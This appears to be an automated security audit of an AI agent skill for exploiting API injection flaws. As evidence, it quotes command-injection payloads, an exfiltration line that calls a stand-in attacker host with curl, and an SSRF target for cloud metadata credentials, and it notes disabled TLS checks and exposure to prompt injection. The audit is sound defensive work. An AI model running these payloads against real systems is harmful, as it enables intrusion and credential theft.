exploiting-api-injection-vulnerabilities

Warn

Audited by Gen Agent Trust Hub on Sep 14, 2026

Risk Level: MEDIUMCOMMAND_EXECUTIONDATA_EXFILTRATIONINDIRECT_PROMPT_INJECTION
Full Analysis
  • [COMMAND_EXECUTION]: The skill provides Python scripts and workflows designed to execute arbitrary OS commands on target systems through injection payloads.
  • Evidence: SKILL.md and scripts/agent.py list payloads such as ; sleep 5, | whoami, and $(id) for testing system command execution.
  • [DATA_EXFILTRATION]: The instructions include specific payloads for exfiltrating sensitive system data and targeting internal services or cloud metadata. The provided scanning tool also weakens communication security.
  • Evidence: SKILL.md contains the payload ; curl http://attacker-controlled-server.com/$(whoami) designed to exfiltrate system data to an external host.
  • Evidence: SKILL.md provides SSRF payloads targeting internal cloud metadata services (e.g., http://169.254.169.254/latest/meta-data/) to extract IAM credentials.
  • Evidence: scripts/agent.py uses verify=False in all requests.get and requests.post calls, disabling SSL/TLS certificate validation.
  • [INDIRECT_PROMPT_INJECTION]: The skill presents an attack surface for indirect prompt injection by accepting and processing untrusted target URLs and parameters for network operations.
  • Ingestion points: The args.url and args.params inputs in scripts/agent.py allow user-supplied data to control network request targets.
  • Boundary markers: The script does not implement boundary markers to isolate user input from the rest of the request logic or to protect the agent from endpoint responses.
  • Capability inventory: The skill utilizes the requests library to perform arbitrary HTTP GET and POST requests.
  • Sanitization: The script uses urllib.parse.quote() for parameter values, but does not validate the integrity or destination of the target URL.
Audit Metadata
Risk Level
MEDIUM
Analyzed
Sep 14, 2026, 10:24 PM